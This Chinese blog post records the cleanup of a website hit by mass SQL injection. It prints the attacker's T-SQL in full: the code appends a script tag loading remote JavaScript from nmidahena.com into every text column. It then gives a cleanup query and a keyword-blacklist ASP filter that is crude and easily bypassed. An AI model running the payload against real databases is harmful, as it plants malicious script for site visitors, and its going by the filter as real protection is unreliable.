最近客户的网站被 注入了<script src=http://www.nmidahena.com/1.js></script>。整个网站的数据库基本上都在内容的后面加入了 <script src=http://www.nmidahena.com/1.js></script>
经分析,网站不止一次被注入。
在网上查询 了一些资料,注入的SQL语句是这样的:
===============================================
DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR
FOR
select a.name, b.name
from sysobjects a,syscolumns b
where a.id = b.id
and a.xtype = 'u'
and ( b.xtype = 99
or b.xtype = 35
or b.xtype = 231
or b.xtype = 167
)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE( @@FETCH_STATUS = 0 )
BEGIN
exec
( 'update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,['
+ @C + ']))+''<script src=http://www.nmidahena.com/1.js></script>''' )
FETCH NEXT FROM Table_Cursor INTO @T, @C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
==============================================
数据库里的varchar,nvarchar,ntext这些类型的字段基本上都被感染。
更无耻的就是,如果字段的大小过小,他会把原有的内容删掉。而保存完整的<script src=http://www.nmidahena.com/1.js></script>。很多数据都被破坏了。
花了一天的功夫终于写出来清除这些小尾巴的方法:
===============================================
DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR
FOR
select a.name, b.name
from sysobjects a,syscolumns b
where a.id = b.id
and a.xtype = 'u'
and ( b.xtype = 99
or b.xtype = 35
or b.xtype = 231
or b.xtype = 167
)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE( @@FETCH_STATUS = 0 )
BEGIN
exec
('update [' + @T + '] set [' + @C + '] = ( case when
( CHARINDEX(''<script'', [' + @C + '])>0)
then
left( rtrim(convert(nvarchar,['+ @C + '])), CHARINDEX(''<script'', ['+ @C + '] )-1)
else
[' + @C + ']
end )
')
FETCH NEXT FROM Table_Cursor INTO @T, @C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
==============================================
这里CHARINDEX(''<script'', ['+ @C + '] ) 是因为有很多字段被多次感染,成了<script src=<script src=http://www.nmidahena.com/1.js></script>这样的内容。所以以<script 为标志,全部删除。这样可能会删除一些合法的,但是没办法。。。如果要清理干净。必须得这么做。
做完以为,对网站进行一下SQL的重点过滤:
==========FilterSqlAttack.asp==============
<%
Call FilterSqlAttack()
Sub FilterSqlAttack()
dim sql_leach,sql_leach_0,Sql_DATA,SQL_Get,Sql_Post
sql_leach = "and,exec,insert,select,delete,update,count,*,%,chr,mid,master,truncate,char,declare"
sql_leach_0 = split(sql_leach,",")
If Request.QueryString<>"" Then
For Each SQL_Get In Request.QueryString
For SQL_Data=0 To Ubound(sql_leach_0)
if instr(LCase(Request.QueryString(SQL_Get)),sql_leach_0(SQL_Data))>0 Then
Response.Write "请不要尝试进行SQL注入!"
Response.end
end if
next
Next
End If
If Request.Form<>"" Then
For Each Sql_Post In Request.Form
For SQL_Data=0 To Ubound(sql_leach_0)
if instr(LCase(Request.Form(Sql_Post)),sql_leach_0(SQL_Data))>0 Then
Response.Write "请不要尝试进行SQL注入!"
Response.end
end if
next
next
end if
If Request.Cookies<>"" Then
For Each Sql_Post In Request.Cookies
For SQL_Data=0 To Ubound(sql_leach_0)
if instr(LCase(Request.Cookies(Sql_Post)),sql_leach_0(SQL_Data))>0 Then
Response.Write "含有非法字符,已记录IP"
Response.end
end if
next
next
end if
End Sub
%>
==========================
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/RyanGT/archive/2008/04/08/2260742.aspx